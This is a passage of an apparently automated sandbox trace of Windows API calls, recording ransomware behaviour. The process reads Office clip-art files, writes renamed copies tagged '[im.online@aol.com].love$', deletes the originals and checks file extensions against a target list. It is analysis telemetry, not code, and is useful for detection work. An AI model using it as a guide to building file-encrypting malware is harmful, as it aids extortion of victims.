Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0242.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0242.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0242.441] lstrlenW (lpString=".doc") returned 4 [0242.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.441] lstrlenW (lpString=".docx") returned 5 [0242.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.441] lstrlenW (lpString=".pdf") returned 4 [0242.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.441] lstrlenW (lpString=".xls") returned 4 [0242.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.441] lstrlenW (lpString=".xlsx") returned 5 [0242.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.441] lstrlenW (lpString=".ppt") returned 4 [0242.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0242.441] lstrlenW (lpString=".zip") returned 4 [0242.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.441] lstrlenW (lpString=".rar") returned 4 [0242.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.441] lstrlenW (lpString=".bz2") returned 4 [0242.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.441] lstrlenW (lpString=".7z") returned 3 [0242.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0242.441] lstrlenW (lpString=".dbf") returned 4 [0242.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0242.441] lstrlenW (lpString=".1cd") returned 4 [0242.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0242.442] lstrlenW (lpString=".jpg") returned 4 [0242.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0242.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0242.442] lstrlenW (lpString=".doc") returned 4 [0242.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.442] lstrlenW (lpString=".docx") returned 5 [0242.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.442] lstrlenW (lpString=".pdf") returned 4 [0242.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.442] lstrlenW (lpString=".xls") returned 4 [0242.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.442] lstrlenW (lpString=".xlsx") returned 5 [0242.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.442] lstrlenW (lpString=".ppt") returned 4 [0242.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0242.442] lstrlenW (lpString=".zip") returned 4 [0242.442] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.442] lstrlenW (lpString=".rar") returned 4 [0242.442] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.442] lstrlenW (lpString=".bz2") returned 4 [0242.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.442] lstrlenW (lpString=".7z") returned 3 [0242.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0242.442] lstrlenW (lpString=".dbf") returned 4 [0242.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0242.442] lstrlenW (lpString=".1cd") returned 4 [0242.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0242.443] lstrlenW (lpString=".jpg") returned 4 [0242.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.443] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.443] lstrlenW (lpString="DD01039_.WMF") returned 12 [0242.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.444] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=14820) returned 1 [0242.444] CloseHandle (hObject=0x388) returned 1 [0242.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0242.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.445] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.445] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0242.446] GetLastError () returned 0x0 [0242.446] ReadFile (in: hFile=0x388, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x39e4, lpOverlapped=0x0) returned 1 [0242.602] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x39f0, lpOverlapped=0x0) returned 1 [0242.604] ReadFile (in: hFile=0x388, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.604] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.604] SetEndOfFile (hFile=0x488) returned 1 [0242.604] CloseHandle (hObject=0x488) returned 1 [0242.604] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.604] SetEndOfFile (hFile=0x388) returned 1 [0242.648] CloseHandle (hObject=0x388) returned 1 [0242.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0242.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0242.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0242.669] lstrlenW (lpString=".doc") returned 4 [0242.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.669] lstrlenW (lpString=".docx") returned 5 [0242.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.669] lstrlenW (lpString=".pdf") returned 4 [0242.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.670] lstrlenW (lpString=".xls") returned 4 [0242.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.670] lstrlenW (lpString=".xlsx") returned 5 [0242.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.670] lstrlenW (lpString=".ppt") returned 4 [0242.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0242.670] lstrlenW (lpString=".zip") returned 4 [0242.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.670] lstrlenW (lpString=".rar") returned 4 [0242.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.670] lstrlenW (lpString=".bz2") returned 4 [0242.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.670] lstrlenW (lpString=".7z") returned 3 [0242.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0242.670] lstrlenW (lpString=".dbf") returned 4 [0242.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0242.670] lstrlenW (lpString=".1cd") returned 4 [0242.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0242.670] lstrlenW (lpString=".jpg") returned 4 [0242.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0242.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0242.670] lstrlenW (lpString=".doc") returned 4 [0242.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.670] lstrlenW (lpString=".docx") returned 5 [0242.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.670] lstrlenW (lpString=".pdf") returned 4 [0242.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.671] lstrlenW (lpString=".xls") returned 4 [0242.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.671] lstrlenW (lpString=".xlsx") returned 5 [0242.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.671] lstrlenW (lpString=".ppt") returned 4 [0242.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0242.671] lstrlenW (lpString=".zip") returned 4 [0242.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.671] lstrlenW (lpString=".rar") returned 4 [0242.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.671] lstrlenW (lpString=".bz2") returned 4 [0242.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.671] lstrlenW (lpString=".7z") returned 3 [0242.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0242.671] lstrlenW (lpString=".dbf") returned 4 [0242.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0242.671] lstrlenW (lpString=".1cd") returned 4 [0242.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0242.671] lstrlenW (lpString=".jpg") returned 4 [0242.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.671] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.672] lstrlenW (lpString="DD01143_.WMF") returned 12 [0242.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.706] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2140) returned 1 [0242.706] CloseHandle (hObject=0x544) returned 1 [0242.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0242.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.707] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.707] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0242.708] GetLastError () returned 0x0 [0242.708] ReadFile (in: hFile=0x544, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x85c, lpOverlapped=0x0) returned 1 [0242.967] WriteFile (in: hFile=0x548, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x860, lpOverlapped=0x0) returned 1 [0242.968] ReadFile (in: hFile=0x544, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.968] WriteFile (in: hFile=0x548, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.968] SetEndOfFile (hFile=0x548) returned 1 [0242.972] CloseHandle (hObject=0x548) returned 1 [0242.972] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.972] SetEndOfFile (hFile=0x544) returned 1 [0242.990] CloseHandle (hObject=0x544) returned 1 [0242.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0242.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0242.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0242.992] lstrlenW (lpString=".doc") returned 4 [0242.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.992] lstrlenW (lpString=".docx") returned 5 [0242.992] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.992] lstrlenW (lpString=".pdf") returned 4 [0242.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.992] lstrlenW (lpString=".xls") returned 4 [0242.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.992] lstrlenW (lpString=".xlsx") returned 5 [0242.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.992] lstrlenW (lpString=".ppt") returned 4 [0242.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0242.992] lstrlenW (lpString=".zip") returned 4 [0242.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.992] lstrlenW (lpString=".rar") returned 4 [0242.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.992] lstrlenW (lpString=".bz2") returned 4 [0242.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.992] lstrlenW (lpString=".7z") returned 3 [0242.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0242.993] lstrlenW (lpString=".dbf") returned 4 [0242.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0242.993] lstrlenW (lpString=".1cd") returned 4 [0242.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0242.993] lstrlenW (lpString=".jpg") returned 4 [0242.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0242.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0242.993] lstrlenW (lpString=".doc") returned 4 [0242.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.993] lstrlenW (lpString=".docx") returned 5 [0242.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.993] lstrlenW (lpString=".pdf") returned 4 [0242.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.993] lstrlenW (lpString=".xls") returned 4 [0242.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.993] lstrlenW (lpString=".xlsx") returned 5 [0242.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.993] lstrlenW (lpString=".ppt") returned 4 [0242.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0242.993] lstrlenW (lpString=".zip") returned 4 [0242.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.993] lstrlenW (lpString=".rar") returned 4 [0242.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.994] lstrlenW (lpString=".bz2") returned 4 [0242.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.994] lstrlenW (lpString=".7z") returned 3 [0242.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0242.994] lstrlenW (lpString=".dbf") returned 4 [0242.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0242.994] lstrlenW (lpString=".1cd") returned 4 [0242.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0242.994] lstrlenW (lpString=".jpg") returned 4 [0242.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.994] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.994] lstrlenW (lpString="DD01151_.WMF") returned 12 [0242.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.043] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2960) returned 1 [0243.043] CloseHandle (hObject=0x544) returned 1 [0243.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0243.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.044] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.044] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0243.055] GetLastError () returned 0x0 [0243.055] ReadFile (in: hFile=0x544, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xb90, lpOverlapped=0x0) returned 1 [0243.068] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xba0, lpOverlapped=0x0) returned 1 [0243.069] ReadFile (in: hFile=0x544, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.069] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0243.069] SetEndOfFile (hFile=0x450) returned 1 [0243.070] CloseHandle (hObject=0x450) returned 1 [0243.070] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.070] SetEndOfFile (hFile=0x544) returned 1 [0243.134] CloseHandle (hObject=0x544) returned 1 [0243.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0243.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0243.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0243.136] lstrlenW (lpString=".doc") returned 4 [0243.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.136] lstrlenW (lpString=".docx") returned 5 [0243.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") 